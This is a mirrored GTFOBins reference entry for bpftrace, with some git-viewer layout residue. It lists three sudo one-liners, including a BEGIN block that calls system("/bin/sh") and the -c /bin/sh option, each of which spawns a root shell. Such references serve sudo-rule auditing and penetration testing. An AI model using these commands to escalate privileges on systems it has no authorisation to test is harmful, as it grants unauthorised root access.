mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
11 lines
260 B
Markdown
11 lines
260 B
Markdown
---
|
|
functions:
|
|
sudo:
|
|
- code: sudo bpftrace -e 'BEGIN {system("/bin/sh");exit()}'
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo 'BEGIN {system("/bin/sh");exit()}' >$TF
|
|
sudo bpftrace $TF
|
|
- code: sudo bpftrace -c /bin/sh -e 'END {exit()}'
|
|
---
|